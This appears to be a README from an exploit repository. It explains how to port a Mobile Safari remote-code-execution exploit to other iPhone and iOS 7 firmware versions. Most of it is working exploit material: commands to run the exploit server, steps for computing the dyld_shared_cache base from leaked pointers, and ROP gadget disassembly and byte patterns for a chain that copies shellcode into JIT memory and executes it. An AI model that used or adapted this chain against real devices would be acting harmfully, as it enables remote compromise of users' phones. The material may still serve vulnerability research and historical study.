Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
169 lines (136 sloc) 7.3 KB
In order to port the exploit to a different device-firmware combinantion you'll
need to get the dyld_shared_cache_arm of the target. You may use public available
techniques like decrypting the firmware filesystem or reading it from the memory
of a runing process. As this is a well known public technique no further detail
on how to get this files will be provided. {reference needed!}
The base exploit was developed on a iPhone3,1 with a jailbreaked iOS 7.0.4. All
other targets were ported from there using only the dyld_shared_cache of each and
analizing the crash reports of failing attempts.
Basic porting algorithm (9 steps) :
===================================
1) Get iDevice and upgrade it to desired firmware target
2) Get the dyld_shared_cache out of it (or e.x. OTA updates)
3) Run the exploit server and point your Mobile saferi to ip:$PORT/debug.html.
$ python run.py $PORT
It will loop several times. Log the values printed to the browser screen. Usually
you'll get 3 sets of values.
For example for iPhone3,1 ios 7.0.4 you may get:
d5.89.5c.2f.29.8a.5c.2f.29.8b.5c.2f /POS:180
d5.31.58.2f.31.32.58.2f.35.32.58.2f /POS:168
65.d4.5f.2f.9d.d4.5f.2f.a1.d4.5f.2f /POS:168
The ones at offset 168 are actually unused but it is mentioned because it can be
used to further improbe reliability even more.
4) Calculate posible dyld_shared_cache bases using tools/calcbase.py.
$ python calcbase.py dyld_shared_cache_armv7-iphone3,1-11B55 4a d5 89 5c 2f 29 8a 5c 2f 29 8b 5c 2f
Live Pointers 0x2f5c89d5 0x2f5c8a29 0x2f5c8b29
Possible dyld_shared_cache base: 0x2e095000
{ "byte0": 0xd5, "byte1": 0x29, "byte2": 0x29,
"version": "$VERSION$",
"dyld_shared_cache_offset": 0x015339d5 },
5) Use the data from previous item to augment target array in index.html. Replace
$VERSION$ for a string that selects current iDevice/iOSver target combination.
For example:
var _targets = [
{ "byte0": 0xd5, "byte1": 0x29, "byte2": 0x29,
"version": "iPhone3,1-7.0.4",
"dyld_shared_cache_offset": 0x015339d5 },
]
This version string will be passed to mkCrash.py script and should be used there
to finish the exploit.
6) Search for ROP gadget's offsets in dyld_shared_cache.
Use tools/gadgets.py to search for the easy ROP gadgets. This ex is for iPhone4 7.0.4:
$ python gadgets.py dyld_shared_cache_armv7-iphone3,1-11B554a
"$VERSION$" : { "gadget0": 0x0bdb60d9 + dyld_shared_cache,
"gadget1": 0x014f1257 + dyld_shared_cache,
"gadget2": 0x002ba973 + dyld_shared_cache,
"gadget3": 0x002ba973 + dyld_shared_cache,
"gadget4": 0xffffffff + dyld_shared_cache,
"gadget5": 0x015a60a5 + dyld_shared_cache,
"jit": 0x41414141 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x42424242 + dyld_shared_cache,
"exit": 0x434343 + dyld_shared_cache,
},
Sadlly you'll need to search for gadget4, jit pointer address, AudioServicesPlaySystemSound
and exit manually.
6.1) Gadget0
Precondition: $r0 points to controled heap buffer.
Poscondition: All regiters loaded with controled data from $r0. Stack pivot. JumpX to controled $lr.
Probably found: /usr/lib/system/libsystem_platform.dylib.
Disassembly:
0x39e4b0d8 <_longjmp>: ldm r0!, {r4, r5, r6, r7, r8, r10, r11, sp, lr}
0x39e4b0dc <_longjmp+4>: vldmia r0, {d8-d15}
0x39e4b0e0 <_longjmp+8>: movs r0, r1
0x39e4b0e4 <_longjmp+12>: moveq r0, #1 ; 0x1
0x39e4b0e8 <_longjmp+16>: bx lr
Binary: f0.6d.b0.e8.10.8b.90.ec.01.00.b0.e1.01.00.a0.03.1e.ff
6.2) Gadget1
Precondition: $r6+24d points to memory where JIT pointer is saved.
$r10 points to controlled data, shellcode.
$r4 is the size of the shellcode
$r5 points to memory where JIT pointer is saved.
Poscondition: Shellcode is copied to JIT memory. Several register used.
$r0 points to memory where JIT pointer is saved.
r4, r5, r6, r7, r8, r10, pc taken from stack
Probably found: /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics
Disassembly:
0x2f586256 <CGPDFContextSetImageTag+742>: ldr r0, [r6, #24] ;$r6 points to .data where JIT pointer is.
0x2f586258 <CGPDFContextSetImageTag+744>: mov r1, r10
0x2f58625a <CGPDFContextSetImageTag+746>: mov r2, r4
0x2f58625c <CGPDFContextSetImageTag+748>: blx 0x2f5fe9bc <dyld_stub_memmove>
0x2f586260 <CGPDFContextSetImageTag+752>: mov r0, r5
0x2f586262 <CGPDFContextSetImageTag+754>: add sp, #4
0x2f586264 <CGPDFContextSetImageTag+756>: ldmia.w sp!, {r8, r10}
0x2f586268 <CGPDFContextSetImageTag+760>: pop {r4, r5, r6, r7, pc}
Binary: b0.69.51.46.22.46.78.f0.ae.eb
6.3) Gadget2
Precondition: $r0 points to memory where JIT pointer is saved.
Poscondition: $r0 points to JIT region.
Probably found: /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics
Disassembly:
0x2f539ae8 <CGFontDefaultGetSmoothingStyle+32>: ldr r0, [r0, #0]
0x2f539aea <CGFontDefaultGetSmoothingStyle+34>: pop {r7, pc}
Binary: 00.68.80.bd
6.4) Gadget3
Precondition: $r0 points to memory where JIT pointer is saved.
Poscondition: $r2 points to JIT region.
Probably found: /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics
Disassembly:
0x2f5ca9de <CGFontIndexSetGetName+11938>: mov r2, r5
0x2f5ca9e0 <CGFontIndexSetGetName+11940>: blx r4
Binary:2a.46.a0.47
6.5) Gadget4
Precondition: $r0 is the length of the sghellcode
$r2 points to JIT region where the shellcode is placed
Poscondition: sys_icache_invalidate() prepares memory for execution
Probably found: /usr/lib/system/libsystem_platform.dylib.
Disassembly:
0x39e490de <sys_cache_control+30>: mov r1, r2
0x39e490e0 <sys_cache_control+32>: blx 0x39e490a0 <sys_icache_invalidate>
0x39e490e4 <sys_cache_control+36>: movs r0, #0
0x39e490e6 <sys_cache_control+38>: pop {r7, pc}
Binary: Not applicable (contains offset that changes with firmwares (sys_icache_invalidate))
6.6) Gadget5
Precondition: $r6+8 points to memory where JIT pointer is saved
Poscondition: $r2 points to executable shellcode (used by shellcode)
Jump to ARM mode shellcode
Disassembly:
0x2f63b0a4 <cg_font_library_link_symbol+14560>: mov r0, r6
0x2f63b0a6 <cg_font_library_link_symbol+14562>: ldr r2, [r6, #8]
0x2f63b0a8 <cg_font_library_link_symbol+14564>: blx r2
Binary: 30.46.b2.68.90.47
Note: First shellcode action may be to shifty to THUMB mode using r2 with a code
like this:
0x2a9b7000: add r0, r2, #9
0x2a9b7004: bx r0
7) Search for JIT pointer address.
8) Update _target array in mkCrash.py. If you use gadgets.py remember to replace the placeholders:
$VERSION$ to a string identifying the target device/firmware
0xffffffff -> gadget4 offset
0x41414141 -> jit pointer address (ios 7.x)
0x42424242 -> AudioServicesPlaySystemSound
exit -> exit
Note that last bit of address used to decide arm/thumb mode.
9) Test it. To troubleshot Check the crash reports.
Notes:
IOS 6 and below needs a different ROP chain to get and use the JIT memory pointer.
@feliam